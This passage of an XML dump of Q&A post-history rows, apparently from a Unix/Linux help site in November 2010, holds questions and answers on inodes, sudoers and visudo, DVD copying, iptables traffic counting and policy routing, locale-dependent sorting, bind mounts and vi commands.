superblock is very critical to the file system and therefore is stored in multiple redundant copies for each file system.&#xD;&#xA;&#xD;&#xA;An inode exists in, or on, a file system and represents metadata about a file. For clarity, all objects in a Linux or UNIX system are files; actual files, directories, devices, and so on. Please note that, among the metadata contained in an inode, there is no file name as humans think of it, this will be important later. An inode contains essentially information about ownership (user, group), access mode (read, write, execute permissions) and file type.&#xD;&#xA;&#xD;&#xA;A dentry is the glue that holds inodes and files together by relating inode numbers to file names. Dentries also play a role in directory caching which, ideally, keeps the most frequently used files on-hand for faster access. File system traversal is another aspect of the dentry as it maintains a relationship between directories and their files.&#xD;&#xA;&#xD;&#xA;A file, in addition to being what humans typically think of when presented with the word, is really just a block of logically related arbitrary data. Comparatively very dull considering all of the work done (above) to keep track of them.&#xD;&#xA;&#xD;&#xA;I fully realize that a few sentences do not provide a full explanation of any of these concepts so please feel free to ask for additional details when and where necessary." />
  <row Id="9606" PostHistoryTypeId="2" PostId="4404" RevisionGUID="8135977a-9df7-4545-afdf-5175d0c70b1b" CreationDate="2010-11-29T15:22:31.430" UserId="732" Text="You'll want to be careful automatically unzipping zip files inside of zip files:&#xD;&#xA;&#xD;&#xA;http://research.swtch.com/2010/03/zip-files-all-way-down.html&#xD;&#xA;&#xD;&#xA;It's possible to concoct a zip file that produces a zip file as output, which produces a zip file as output, etc etc etc.  That is, you can make a zip file that's a fixed oint of &quot;unzip&quot; the program.&#xD;&#xA;&#xD;&#xA;Also, I seem to recall people making zip files that would &quot;explode&quot;, that is a very small zip file would unzip to multi-gigabytes of output.  This is a facet of the method of compression." />
  <row Id="9607" PostHistoryTypeId="2" PostId="4405" RevisionGUID="518ee00b-5a1e-4772-9cd6-fb0c94457b01" CreationDate="2010-11-29T16:35:48.047" UserId="688" Text="I want to give a Fedora user sudo powers. How to do that?" />
  <row Id="9608" PostHistoryTypeId="1" PostId="4405" RevisionGUID="518ee00b-5a1e-4772-9cd6-fb0c94457b01" CreationDate="2010-11-29T16:35:48.047" UserId="688" Text="How make Fedora user a sudoer?" />
  <row Id="9609" PostHistoryTypeId="3" PostId="4405" RevisionGUID="518ee00b-5a1e-4772-9cd6-fb0c94457b01" CreationDate="2010-11-29T16:35:48.047" UserId="688" Text="éfedoraàésudoà" />
  <row Id="9610" PostHistoryTypeId="2" PostId="4406" RevisionGUID="5a573e47-10a3-44c0-9df3-f3c25063de09" CreationDate="2010-11-29T16:44:35.773" UserId="2701" Text="I suppose that the first question is, do you have sudo installed on the server(s) in question? Assuming so, it is just a matter of deciding whether you want to treat the user as a unique entity or as part of a group, a group which may have only 1 member. The command `visudo` as root will give you access to edit the sudoers file, often /etc/sudoers.&#xD;&#xA;&#xD;&#xA;the former:&#xD;&#xA;&#xD;&#xA;    user ALL= /foo/bar&#xD;&#xA;&#xD;&#xA;the latter:&#xD;&#xA;&#xD;&#xA;    %group  ALL= /foo/bar&#xD;&#xA;&#xD;&#xA;These are merely two examples, the sudo package has a tremendous number of features and settings options at your disposal. I recommend reading the sudoers, sudo's configuration file, [manual][1]. I would also recommend starting simple and building up to the actual desired configuration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gratisoft.us/sudo/sudoers.man.html" />
  <row Id="9611" PostHistoryTypeId="2" PostId="4407" RevisionGUID="4f1ebede-96ae-4519-a2e9-215b6a3b8de8" CreationDate="2010-11-29T16:54:24.300" UserId="2594" Text="Note that these terms aren't Linux specific but file system specific. Most filesystems used by current Unix and Unix like systems are either derived or inspired by the original Unix filesystem which defined the superblock and inode idioms. Linux can also mount several filesystems with which there is no notion of superblock and/or inode, the most common being FAT.&#xD;&#xA;Another one, ZFS, doesn't use superblocks but überblocks.&#xD;&#xA; " />
  <row Id="9612" PostHistoryTypeId="2" PostId="4408" RevisionGUID="cbc7cbe4-4b67-47b7-a558-45aef4ed3fa4" CreationDate="2010-11-29T17:23:33.307" UserId="688" Text="Fedora 14 uses vi by default when one runs visudo. Is there a way to change this to something else?" />
  <row Id="9613" PostHistoryTypeId="1" PostId="4408" RevisionGUID="cbc7cbe4-4b67-47b7-a558-45aef4ed3fa4" CreationDate="2010-11-29T17:23:33.307" UserId="688" Text="How to set visudo to use a different editor than the default on Fedora?" />
  <row Id="9614" PostHistoryTypeId="3" PostId="4408" RevisionGUID="cbc7cbe4-4b67-47b7-a558-45aef4ed3fa4" CreationDate="2010-11-29T17:23:33.307" UserId="688" Text="éfedoraàésudoà" />
  <row Id="9615" PostHistoryTypeId="2" PostId="4409" RevisionGUID="1f973804-9e34-4c50-8c8f-0903ac3a7894" CreationDate="2010-11-29T17:32:26.353" UserId="2701" Text="I recommend setting the EDITOR environment variable. In bash this is accomplished as:&#xD;&#xA;&#xD;&#xA;    export EDITOR=/foo/bar&#xD;&#xA;&#xD;&#xA;substituting the path to your preferred editor. Performed on the command line this will revert as soon as that shell session is terminated, setting the variable in a ~/.bashrc or /etc/profile will cause the change to persist." />
  <row Id="9616" PostHistoryTypeId="2" PostId="4410" RevisionGUID="a3a88b12-77d9-416e-8a9f-c5c564806562" CreationDate="2010-11-29T18:21:09.350" UserId="1327" Text="Preamble:&#xD;&#xA;&#xD;&#xA;We are down to the final stages for creating a school-play dvd. Editing is almost done, discs are printed and ready. Just need to burn the dvd's now. However, doing our pencil calculations, if we burned every disc with our production computer (  Apple G5 , taking a estimated 10-20 minutes ) we don't really have enough time to finish all the DVD's ( 100 or so )  before deadline. ( 11 hours away ).&#xD;&#xA;&#xD;&#xA;The solution to this problem is to include my linux laptop into the burning process to reduce the workload.&#xD;&#xA;&#xD;&#xA;So my question is:&#xD;&#xA;&#xD;&#xA;If I had one DVD ( no security encryptions or licencing issues ) and I wanted to make 20 perfect copies really fast. What tools would I need and and what how would I use them?&#xD;&#xA;Would prefer command line here.&#xD;&#xA;&#xD;&#xA;Bonus question: &#xD;&#xA;&#xD;&#xA;Any tips on speeding up the Apple's Burn Proccess? Using Pro Studio 4. " />
  <row Id="9617" PostHistoryTypeId="1" PostId="4410" RevisionGUID="a3a88b12-77d9-416e-8a9f-c5c564806562" CreationDate="2010-11-29T18:21:09.350" UserId="1327" Text="How do I copy DVDs" />
  <row Id="9618" PostHistoryTypeId="3" PostId="4410" RevisionGUID="a3a88b12-77d9-416e-8a9f-c5c564806562" CreationDate="2010-11-29T18:21:09.350" UserId="1327" Text="édvdà" />
  <row Id="9619" PostHistoryTypeId="5" PostId="4409" RevisionGUID="49b58957-3388-4232-8ff4-2a82d2bd3514" CreationDate="2010-11-29T18:41:32.337" UserId="2701" Comment="added 92 characters in body" Text="I recommend setting the EDITOR environment variable. In bash this is accomplished as:&#xD;&#xA;&#xD;&#xA;    export EDITOR=/foo/bar&#xD;&#xA;&#xD;&#xA;substituting the path to your preferred editor. Performed on the command line this will revert as soon as that shell session is terminated, setting the variable in a ~/.bashrc or /etc/profile will cause the change to persist.&#xD;&#xA;&#xD;&#xA;You can also set Defaults editor=/usr/bin/nano in the sudoers file to specify an editor." />
  <row Id="9620" PostHistoryTypeId="5" PostId="4409" RevisionGUID="6f180886-b456-4ec1-8ac0-016ad4005898" CreationDate="2010-11-29T19:11:52.890" UserId="2701" Comment="added 80 characters in body" Text="Adding `Defaults editor=/path/to/editor` in the sudoers file will cause visudo to use the specified editor for changes.&#xD;&#xA;&#xD;&#xA;Additionally, if your sudo package has been built with --with-env-editor, as is the default on some Linux distributions, you can also set the EDITOR environment variable by executing `export EDITOR=/path/to/editor`. Performed on the command line this will revert as soon as that shell session is terminated, setting the variable in a ~/.bashrc or /etc/profile will cause the change to persist." />
  <row Id="9621" PostHistoryTypeId="2" PostId="4411" RevisionGUID="ec65f3dd-10f3-4bbb-9e18-77350eb69537" CreationDate="2010-11-29T19:43:00.627" UserId="2874" Text="I'm printing documents and images to a Samsung ML1630.  It used to work fine, but now it prints white instead of black, black instead of white.  Text documents come out white text on solid black background.  Of course, it used to work fine.  Before declaring the printer itself guilty, is it possible that something in my Linux setup, the kernel or printer driver or some hidden setting somewhere is causing this trouble?&#xD;&#xA;&#xD;&#xA;Since this problem appeared about a month ago, I've updated everything with the package manager, rebooted a couple times, and the problem persists.  Can't blame it on a cosmic ray!" />
  <row Id="9622" PostHistoryTypeId="1" PostId="4411" RevisionGUID="ec65f3dd-10f3-4bbb-9e18-77350eb69537" CreationDate="2010-11-29T19:43:00.627" UserId="2874" Text="Why is the printer reversing black and white?" />
  <row Id="9623" PostHistoryTypeId="3" PostId="4411" RevisionGUID="ec65f3dd-10f3-4bbb-9e18-77350eb69537" CreationDate="2010-11-29T19:43:00.627" UserId="2874" Text="éprintingà" />
  <row Id="9624" PostHistoryTypeId="2" PostId="4412" RevisionGUID="b26c288e-e763-468e-adfe-984407d0bcc9" CreationDate="2010-11-29T19:57:30.023" UserId="1779" Text="Not very difficult.&#xD;&#xA;&#xD;&#xA;    dd if=/dev/dvd of=saved.iso&#xD;&#xA;&#xD;&#xA;    for i in {1..20}; do&#xD;&#xA;        eject /dev/dvd&#xD;&#xA;        read -p 'Insert disc and press RETURN: '&#xD;&#xA;        eject -t /dev/dvd&#xD;&#xA;        growisofs -Z /dev/dvd=saved.iso&#xD;&#xA;    done&#xD;&#xA;    eject /dev/dvd" />
  <row Id="9625" PostHistoryTypeId="2" PostId="4413" RevisionGUID="f426c2e4-c7d2-488f-9d10-5ca90636706b" CreationDate="2010-11-29T20:01:27.953" UserId="885" Text="A normal unix program that wants to invoke an editor will run the program whose name is in the `EDITOR` or `VISUAL` environment variable, and if the variable is unset, a system-dependent default. Many, but not all, programs check both `EDITOR` and `VISUAL`; the distinction is long obsolete (once you would run `EDITOR` on a teletype and `VISUAL` on a “glass” terminal…) so you should set both to the same value. There is some disagreement as to whether the contents of the variable should be the full path to an executable, an executable name that's looked up in `$PATH`, or a shell snippet, so you should stick to a path to an executable not containing any shell metacharacter. The system default when neither variable is set is traditionally `vi`, though some distributions have changed this to a more newbie-friendly editor such as `nano`.&#xD;&#xA;&#xD;&#xA;`visudo` checks both `VISUAL` and `EDITOR` (this can be compiled out, presumably to dissuade root from using an editor whose security the distribution maker doesn't trust, but even OpenBSD doesn't do this).&#xD;&#xA;" />
  <row Id="9626" PostHistoryTypeId="2" PostId="4414" RevisionGUID="f9cb55ce-3faa-40d3-97bd-3bd7f83b8288" CreationDate="2010-11-29T20:55:35.140" UserId="885" Text="If you want to search through an entire svn repository, one setup that comes to mind is to serve the repository over HTTP with [WebSVN](http://websvn.tigris.org/), [ViewVC](http://viewvc.org/) or other similar package, plug in your favorite website indexer, and use a web browser to perform searches.&#xD;&#xA;" />
  <row Id="9627" PostHistoryTypeId="2" PostId="4415" RevisionGUID="f771beb5-a8d7-4f9d-babf-5da1e6aca9a5" CreationDate="2010-11-29T20:58:30.143" UserId="1571" Text="I know I've probably looked over this a million times in all the VI documents I've read, but I can't seem to find the delete from cursor to end of word command." />
  <row Id="9628" PostHistoryTypeId="1" PostId="4415" RevisionGUID="f771beb5-a8d7-4f9d-babf-5da1e6aca9a5" CreationDate="2010-11-29T20:58:30.143" UserId="1571" Text="Delete from cursor to end of line on VI" />
  <row Id="9629" PostHistoryTypeId="3" PostId="4415" RevisionGUID="f771beb5-a8d7-4f9d-babf-5da1e6aca9a5" CreationDate="2010-11-29T20:58:30.143" UserId="1571" Text="évimà" />
  <row Id="9630" PostHistoryTypeId="2" PostId="4416" RevisionGUID="52388074-4634-476c-96f7-8dbe81bc3fca" CreationDate="2010-11-29T21:00:32.357" UserId="2701" Text="The command `dw` will delete from the current cursor position to the beginning of the next word character. The command `d$` will delete from the current cursor position to the end of the current line." />
  <row Id="9631" PostHistoryTypeId="2" PostId="4417" RevisionGUID="048c5300-7737-459e-a33e-5a8873f13f5a" CreationDate="2010-11-29T21:05:42.787" UserId="1571" Text="If you don't want to go through the command line, [`k3b`][1] is the KDE burning software. I'm not sure what gnome would use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://k3b.plainblack.com/" />
  <row Id="9632" PostHistoryTypeId="2" PostId="4418" RevisionGUID="3b5bd343-0e9c-4de6-b4cb-51ceae76067c" CreationDate="2010-11-29T21:20:02.003" UserId="885" Text="Assuming you have root access to s Linux machine somewhere on the path (either endpoint, or even a router in between), you can write an iptables rule that matches the application traffic and directs it to a particular chain that does nothing but accept all packets. The kernel maintains a byte and packet counter on each chain. Assuming the packets you want to count go from IP 10.1.2.3 TCP port 42123 to IP 10.7.8.9 TCP port 42789:&#xD;&#xA;&#xD;&#xA;    iptables -I FORWARD -p tcp -s 10.1.2.3 --sport 42123 -d 10.7.8.9 --dport 42789 -j ACCEPT&#xD;&#xA;&#xD;&#xA;Replace `FORWARD` by `OUTPUT` on the source host, by `INPUT` on the destination host.&#xD;&#xA;You can read the counters with `iptables -nvxL FORWARD 42` where 42 is the number of the rules (the first rule is number 1).&#xD;&#xA;&#xD;&#xA;Do this for each direction if you want to count both directions. Do the addition yourself unless you want to mess around more with iptables rules (it's possible but adds a little to the complexity). Read the counters at known time intervals to measure bandwidth usage.&#xD;&#xA;" />
  <row Id="9633" PostHistoryTypeId="5" PostId="4397" RevisionGUID="dfa4d4d7-ec1d-4778-9d44-9be619a42cf7" CreationDate="2010-11-29T21:21:34.290" UserId="1327" Comment="deleted 14 characters in body" Text="I have two Linux machines that keep pinging each other. With each ping request they attach a data packet in the response. The frequency of the pings can not be determined.&#xD;&#xA;&#xD;&#xA;How do I determine how many GB's of data they transfer to each other via the Network ?&#xD;&#xA;" />
  <row Id="9634" PostHistoryTypeId="2" PostId="4419" RevisionGUID="df51a612-9443-4b36-b3be-d2bd22d021f4" CreationDate="2010-11-29T21:33:20.460" UserId="885" Text="One of the nice things about vi is its logical command structure. `d` followed by a motion command &lt;strong&gt;d&lt;/strong&gt;eletes to the target of that motion. `$` moves to the end of the line (mnemonic: like in regexps). So `d$` deletes to the end of the line. Similarly, `e` moves to the &lt;strong&gt;e&lt;/strong&gt;nd of the current word, and `w` moves to the beginning of the next &lt;strong&gt;w&lt;/strong&gt;ord; so `de` deletes the end of the current word, and `dw` additionally deletes the following whitespace.&#xD;&#xA;" />
  <row Id="9635" PostHistoryTypeId="6" PostId="4402" RevisionGUID="f238c1b1-1546-450b-9ddf-c08f56518e0e" CreationDate="2010-11-29T21:57:57.237" UserId="29" Comment="add tags" Text="élinuxàéfilesystemsàéfilesàéterminologyàéinodeà" />
  <row Id="9636" PostHistoryTypeId="2" PostId="4420" RevisionGUID="f5c69bbf-4474-4008-b63c-e9343f9cda00" CreationDate="2010-11-29T22:56:27.333" UserId="2180" Text="I have a system with two interfaces. Both interfaces are connected to the internet. One of them is set as the default route; a side effect of this is that if a packet comes in on the non-default-route interface, the reply is sent back through the default route interface. Is there a way to use iptables (or something else) to track the connection and send the reply back through the interface it came from?" />
  <row Id="9637" PostHistoryTypeId="1" PostId="4420" RevisionGUID="f5c69bbf-4474-4008-b63c-e9343f9cda00" CreationDate="2010-11-29T22:56:27.333" UserId="2180" Text="Reply on same interface as incoming?" />
  <row Id="9638" PostHistoryTypeId="3" PostId="4420" RevisionGUID="f5c69bbf-4474-4008-b63c-e9343f9cda00" CreationDate="2010-11-29T22:56:27.333" UserId="2180" Text="éiptablesàéroutingà" />
  <row Id="9639" PostHistoryTypeId="2" PostId="4421" RevisionGUID="635166ae-630c-46a1-baf1-a07611772f5b" CreationDate="2010-11-29T23:16:24.560" UserId="885" Text="The following commands create an alternate routing table via `eth1` for packets that have the mark 1 (except packets to localhost). The `ip` command is from the [iproute2](http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2) suite (Ubuntu: [iproute](http://packages.ubuntu.com/iproute) [![Install iproute](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iproute), [iproute-doc](http://packages.ubuntu.com/iproute-doc) [![Install iproute-doc](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iproute-doc)).&#xD;&#xA;&#xD;&#xA;    ip rule add fwmark 1 table 1&#xD;&#xA;    ip route add 127.0.0.0/0 table 1 dev lo&#xD;&#xA;    ip route add 0.0.0.0/0 table 1 dev eth1&#xD;&#xA;&#xD;&#xA;The other half of the job is recognizing packets that must get the mark 1; then use `iptables -t mangle -A OUTPUT … -j MARK --set-mark 1` on these packets to have them routed through routing table 1. I think the following should do it (replace 1.2.3.4 by the address of the non-default-route interface):&#xD;&#xA;&#xD;&#xA;    iptables -t mangle -A OUTPUT -m conntrack --ctorigdst 1.2.3.4 -j MARK --set-mark 1&#xD;&#xA;&#xD;&#xA;I'm not sure if that's enough, maybe another rule is needed on the incoming packets to tell the conntrack module to track them.&#xD;&#xA;" />
  <row Id="9640" PostHistoryTypeId="5" PostId="4243" RevisionGUID="8b6eff00-da0e-45ed-a326-c9575adb6c58" CreationDate="2010-11-29T23:18:56.443" UserId="885" Comment="fixed hyperlink" Text="There are several possibilities, depending on how you want to decide what packets go where. Most of them will require some understanding of how TCP/IP networking works in Linux. The main tools you'll have to know to do complex things are [`iptables`](http://www.netfilter.org/projects/iptables/index.html) (Ubuntu: [iptables](http://packages.ubuntu.com/iptables) [![Install iptables](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iptables)) and [iproute2 (`ip` command)](http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2) (Ubuntu: [iproute](http://packages.ubuntu.com/iproute) [![Install iproute](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iproute), [iproute-doc](http://packages.ubuntu.com/iproute-doc) [![Install iproute-doc](http://bit.ly/software-small)](http://apt.ubuntu.com/p/iproute-doc)).&#xD;&#xA;&#xD;&#xA;If you can discriminate fully by target IP address, it's simple: route the IP addresses according to your wishes. For example, the following commands will cause all packets for 1.2.3.*x* and 1.2.4.2 to go via `ppp0`, and other packets to go via `eth0`.&#xD;&#xA;&#xD;&#xA;    route add -net 1.2.3.4/24 ppp0&#xD;&#xA;    route add -host 1.2.4.2 ppp0&#xD;&#xA;    route add -net 0.0.0.0/0 eth0&#xD;&#xA;&#xD;&#xA;For more complex requirements, you need to start using `iptables` and `ip route`. For example, the following commands set up special routing tables so that all packets marked 1 go out via `eth0` and all packets marked 2 go out via `ppp0` (except that packets intended for `localhost` stick to the loopback interface).&#xD;&#xA;&#xD;&#xA;    ip rule add fwmark 1 table 1&#xD;&#xA;    ip route add 127.0.0.0/0 table 1 dev lo&#xD;&#xA;    ip route add 0.0.0.0/0 table 1 dev eth0&#xD;&#xA;    ip rule add fwmark 2 table 2&#xD;&#xA;    ip route add 127.0.0.0/8 table 2 dev lo&#xD;&#xA;    ip route add 0.0.0.0/0 table 2 dev ppp0&#xD;&#xA;&#xD;&#xA;Now you can use `iptables` to “mangle” outgoing packets, adding a mark that will decide what route they take. For example, here's how to send all outgoing SMTP traffic (port 25) via `eth0`, and all traffic originated by an application running as the user `proxy` via `ppp0`.&#xD;&#xA;&#xD;&#xA;    iptables -t mangle -A OUTPUT -p tcp --dport 25 -j MARK --set-mark 1&#xD;&#xA;    iptables -t mangle -A OUTPUT -m owner --uid-owner proxy -j MARK --set-mark 2&#xD;&#xA;&#xD;&#xA;See also [2 network interfaces connected to internet. Choose the one to use according to the domain name](http://askubuntu.com/q/4988/1059) and [bind software to different network interfaces](http://askubuntu.com/q/4872/1059).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;You'll need to arrange for these commands to run when both interfaces are connected. I recommend that you write a script called `/etc/network/if-up.d/0justin-routes` that runs the commands you want. This script will be executed whenever a network interface is brought up; as its name begins with a `0` it will run early in that process, before application-specific setup that might expect the routes to be in place. There is a symmetric `/etc/network/if-down.d/` in case you also want to do things when one of the interfaces comes down. (All associated routes will automatically be erased, which may leave some packets stranded when you'd like them to fall back to the other interface.)&#xD;&#xA;&#xD;&#xA;The ifup scripts are documented in the [`interfaces(5) man page`](http://manpages.ubuntu.com/manpages/maverick/en/man5/interfaces.5.html). The main thing to know is that the name of the interface being brought up or down is in the environement variable `IFACE`. You can find out whether the other interface is already up with `if ifconfig | sed 's/ .*//' | grep -Fqx 'eth0'; then …`.&#xD;&#xA;" />
  <row Id="9641" PostHistoryTypeId="6" PostId="4420" RevisionGUID="bf0901de-f0f1-4f70-9d7f-db2536b625f6" CreationDate="2010-11-29T23:19:26.490" UserId="885" Comment="edited tags" Text="élinuxàéiptablesàéroutingà" />
  <row Id="9642" PostHistoryTypeId="6" PostId="4415" RevisionGUID="cfdd4d41-8768-49d4-a5f3-db504eecd820" CreationDate="2010-11-29T23:41:46.937" UserId="29" Comment="add vi tag" Text="évimàévià" />
  <row Id="9643" PostHistoryTypeId="6" PostId="4408" RevisionGUID="df745626-a4e1-40fb-a536-b3ea1f0909c2" CreationDate="2010-11-29T23:51:49.897" UserId="29" Comment="removing fedora tag as this has nothing to do with fedora" Text="ésudoà" />
  <row Id="9644" PostHistoryTypeId="5" PostId="4418" RevisionGUID="3a489e44-84a4-42b6-93f0-910743b5fe7f" CreationDate="2010-11-30T00:15:21.397" UserId="885" Comment="show how to go through a chain" Text="Assuming you have root access to s Linux machine somewhere on the path (either endpoint, or even a router in between), you can write an iptables rule that matches the application traffic and directs it to a particular chain that does nothing but accept all packets. The kernel maintains a byte and packet counter on each chain. Assuming the packets you want to count go from IP 10.1.2.3 TCP port 42123 to IP 10.7.8.9 TCP port 42789:&#xD;&#xA;&#xD;&#xA;    iptables -I FORWARD -p tcp -s 10.1.2.3 --sport 42123 -d 10.7.8.9 --dport 42789 -j ACCEPT&#xD;&#xA;&#xD;&#xA;Replace `FORWARD` by `OUTPUT` on the source host, by `INPUT` on the destination host.&#xD;&#xA;You can read the counters with `iptables -nvxL FORWARD 42` where 42 is the number of the rules (the first rule is number 1).&#xD;&#xA;&#xD;&#xA;Do this for each direction if you want to count both directions. Read the counters at known time intervals to measure bandwidth usage.&#xD;&#xA;&#xD;&#xA;You can gain a little flexibility if you create an intermediate chain.&#xD;&#xA;&#xD;&#xA;    iptables -N myapp_counter&#xD;&#xA;    iptables -A myapp_counter -j ACCEPT&#xD;&#xA;    iptables -I FORWARD -p tcp -s 10.1.2.3 --sport 42123 -d 10.7.8.9 --dport 42789 -j myapp_counter&#xD;&#xA;    iptables -I FORWARD -p tcp -s 10.7.8.9 --sport 42789 -d 10.1.2.3 --dport 42123 -j myapp_counter&#xD;&#xA;&#xD;&#xA;With this setup, the counter for the `myapp_counter` will include traffic in both directions. Another benefit of going through a chain is that you can atomically read the counter on the chain and set it to 0 with `iptables -nvxZL myapp_counter`. And you don't need to figure out the rule number, so it's easier to automate the setup.&#xD;&#xA;" />
  <row Id="9645" PostHistoryTypeId="2" PostId="4422" RevisionGUID="d7715ce3-735e-4058-b683-057d28d3266e" CreationDate="2010-11-30T00:24:12.587" UserId="2879" Text="Consider the following input to sort:&#xD;&#xA;&#xD;&#xA;    cat &gt; foo &lt;&lt;EOM&#xD;&#xA;    D,,5014978&#xD;&#xA;    DD,,25&#xD;&#xA;    D,I,1972765530&#xD;&#xA;    D,Y,4223624&#xD;&#xA;    -,Y,71285059&#xD;&#xA;    YA,I,2&#xD;&#xA;    EOM&#xD;&#xA;&#xD;&#xA;Now try running `sort foo`&#xD;&#xA;&#xD;&#xA;The output is not sorted when trying this on any of my linux boxes (gnu coreutils versions 6.9-7.4).  The output is sorted when run under cygwin (gnu coretuils 8.5).  Comments?&#xD;&#xA;" />
  <row Id="9646" PostHistoryTypeId="1" PostId="4422" RevisionGUID="d7715ce3-735e-4058-b683-057d28d3266e" CreationDate="2010-11-30T00:24:12.587" UserId="2879" Text="Is gnu coreutils sort broken?" />
  <row Id="9647" PostHistoryTypeId="3" PostId="4422" RevisionGUID="d7715ce3-735e-4058-b683-057d28d3266e" CreationDate="2010-11-30T00:24:12.587" UserId="2879" Text="ébashàécoreutilsàésortà" />
  <row Id="9648" PostHistoryTypeId="2" PostId="4423" RevisionGUID="9c299cfb-5486-4bf5-bbe2-7522f793561a" CreationDate="2010-11-30T00:39:34.647" UserId="1779" Text="Sorting depends on the locale; specifically, it depends on `$LC_COLLATE` (possibly overridden by `$LC_ALL`), falling back to `$LANG` if it doesn't exist.  The command `locale` will show you what values you're effectively working with.  See [`man 3 strcoll`](http://www.opengroup.org/onlinepubs/009695399/functions/strcoll.html), [`man 3 setlocale`](http://www.opengroup.org/onlinepubs/009695399/functions/setlocale.html), etc.&#xD;&#xA;&#xD;&#xA;`LC_COLLATE=C` (or `POSIX` or no locale at all) results in a strict byte-by-byte comparison.&#xD;&#xA;&#xD;&#xA;`LC_COLLATE=en_US.utf8` results in an alphabetical-equivalence sort, with punctuation ignored and characters within the same equivalence class treated equally.  (I think.)" />
  <row Id="9649" PostHistoryTypeId="2" PostId="4424" RevisionGUID="c18635ca-b05d-4210-acd1-a323e5bf4b55" CreationDate="2010-11-30T01:28:30.040" UserId="1267" Text="&#xD;&#xA;I am using a Fedora 13 OS and i see that in the network connections the WiFi thing has been disabled. Generally when there is a WiFi connection around it would show in the Wireless networks option, but it is not showing for me. What to do, in order to keep the WiFi mode always active." />
  <row Id="9650" PostHistoryTypeId="1" PostId="4424" RevisionGUID="c18635ca-b05d-4210-acd1-a323e5bf4b55" CreationDate="2010-11-30T01:28:30.040" UserId="1267" Text="Activating WiFi in Fedora" />
  <row Id="9651" PostHistoryTypeId="3" PostId="4424" RevisionGUID="c18635ca-b05d-4210-acd1-a323e5bf4b55" CreationDate="2010-11-30T01:28:30.040" UserId="1267" Text="éfedoraàéwirelessà" />
  <row Id="9655" PostHistoryTypeId="6" PostId="4405" RevisionGUID="e86866e2-6569-4d20-b94c-bd898a378adc" CreationDate="2010-11-30T02:18:04.007" UserId="29" Comment="again, has nothing specifically to do with fedora" Text="ésudoà" />
  <row Id="9657" PostHistoryTypeId="2" PostId="4426" RevisionGUID="970433ee-fb12-4b58-bafc-e4f8d0fbb78d" CreationDate="2010-11-30T03:13:13.030" UserId="2881" Text="On my headless NAS I have `sdf1` (a flash-card) mounted as `/` while `/home` is mounted from `lv00` (an LVM volume backed by a software RAID). To be able to access the machine when the RAID fails, I have a copy of my ssh public key, etc. in `/home/foo/.ssh` on the file-system from `sdf1`.  &#xD;&#xA;To update the files that are hidden by the mounted `/home` I normally remount `lv00` in `/mnt/home`, do what I have to do, and then move `lv00` back in place.  &#xD;&#xA;Is there a way to achieve this without unmounting `/home`?&#xD;&#xA; " />
  <row Id="9658" PostHistoryTypeId="1" PostId="4426" RevisionGUID="970433ee-fb12-4b58-bafc-e4f8d0fbb78d" CreationDate="2010-11-30T03:13:13.030" UserId="2881" Text="Access to original contents of mount point " />
  <row Id="9659" PostHistoryTypeId="3" PostId="4426" RevisionGUID="970433ee-fb12-4b58-bafc-e4f8d0fbb78d" CreationDate="2010-11-30T03:13:13.030" UserId="2881" Text="édebianàémountà" />
  <row Id="9660" PostHistoryTypeId="2" PostId="4427" RevisionGUID="67d6d831-8565-462a-91dc-cfe5ee5e79bb" CreationDate="2010-11-30T03:22:31.770" UserId="73" Text="You can move the mount to a new location without unmounting it, using `mount --move`:&#xD;&#xA;&#xD;&#xA;    $ mount --move /home /mnt/home&#xD;&#xA;    do stuff with the local /home&#xD;&#xA;    $ mount --move /mnt/home /home&#xD;&#xA;" />
  <row Id="9661" PostHistoryTypeId="2" PostId="4428" RevisionGUID="ea45f036-b35b-4934-a2a9-2a408297cf16" CreationDate="2010-11-30T03:56:50.713" UserId="1779" Text="    mkdir /mnt/root&#xD;&#xA;    mount --bind / /mnt/root&#xD;&#xA;    ls /mnt/root/home/foo/.ssh&#xD;&#xA;&#xD;&#xA;As long as you use `--bind` (as opposed to `--rbind`), you get a clone of the mount without the stuff mounted on top of it." />
  <row Id="9662" PostHistoryTypeId="2" PostId="4429" RevisionGUID="aa11d0ec-c738-47ed-ba9c-688f411fbb63" CreationDate="2010-11-30T04:52:33.030" UserId="732" Text="You probably want to use D.  Move the cursor to the first character you want to delete, then hit shift-D.  Everything gone.  Actually, it's in the default cut buffer, so you can P or p paste it back in.&#xD;&#xA;&#xD;&#xA;I use Dp (delete to end of line, then put it back), move to the end of some other line, then p again to paste the same text in at the end of this other line.  Works wonders in config files, where you need to put some complicated URL in two or more places." />
  <row Id="9663" PostHistoryTypeId="4" PostId="4405" RevisionGUID="defc4d7c-3994-4196-9403-d7086a3ab451" CreationDate="2010-11-30T07:34:37.550" UserId="1327" Comment="edited title" Text="How to make Fedora user a sudoer?" />
  <row Id="9664" PostHistoryTypeId="2" PostId="4430" RevisionGUID="bcd19bbc-3d21-44ab-8a0b-898e3d0f4cf7" CreationDate="2010-11-30T08:28:32.980" UserId="2269" Text="hi all,&#xD;&#xA;&#xD;&#xA;Why we give ./a.out to execute a program in linux? why don't in any other way like other commands gcc,ls etc etc...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;/__kanu" />
  <row Id="9665" PostHistoryTypeId="1" PostId="4430" RevisionGUID="bcd19bbc-3d21-44ab-8a0b-898e3d0f4cf7" CreationDate="2010-11-30T08:28:32.980" UserId="2269" Text="Why we give &quot;./a.out&quot; to execute a program in Linux ?" />
  <row Id="9666" PostHistoryTypeId="3" PostId="4430" RevisionGUID="bcd19bbc-3d21-44ab-8a0b-898e3d0f4cf7" CreationDate="2010-11-30T08:28:32.980" UserId="2269" Text="élinuxà" />
